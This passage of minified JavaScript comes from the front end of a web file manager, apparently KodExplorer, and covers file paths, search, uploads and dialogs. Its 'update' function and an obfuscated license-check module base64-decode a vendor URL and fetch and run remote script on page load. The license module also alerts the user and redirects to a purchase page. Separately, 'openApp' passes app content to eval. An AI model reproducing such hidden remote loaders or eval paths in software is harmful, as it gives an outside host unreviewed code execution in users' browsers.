dary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
        请联系主机商或网管,检查防火墙配置!"),t='
        '+t+"
        ",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
        \n {{if download_path}}\n
        \n
        {{LNG.download_address}}:
        \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n {{/if}}\n\n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n\n {{if file_md5}}\n
        \n
        MD5:
        \n
        {{file_md5}}
        \n
        \n
        \n {{/if}}\n\n {{if image_size}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{image_size.width}} × {{image_size.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n\n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n \n {{if mode}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n \n
        \n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if mode}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n {{/if}}\n
        \n"),define("app/common/tpl/zipview.html",[],''),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s()) +},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 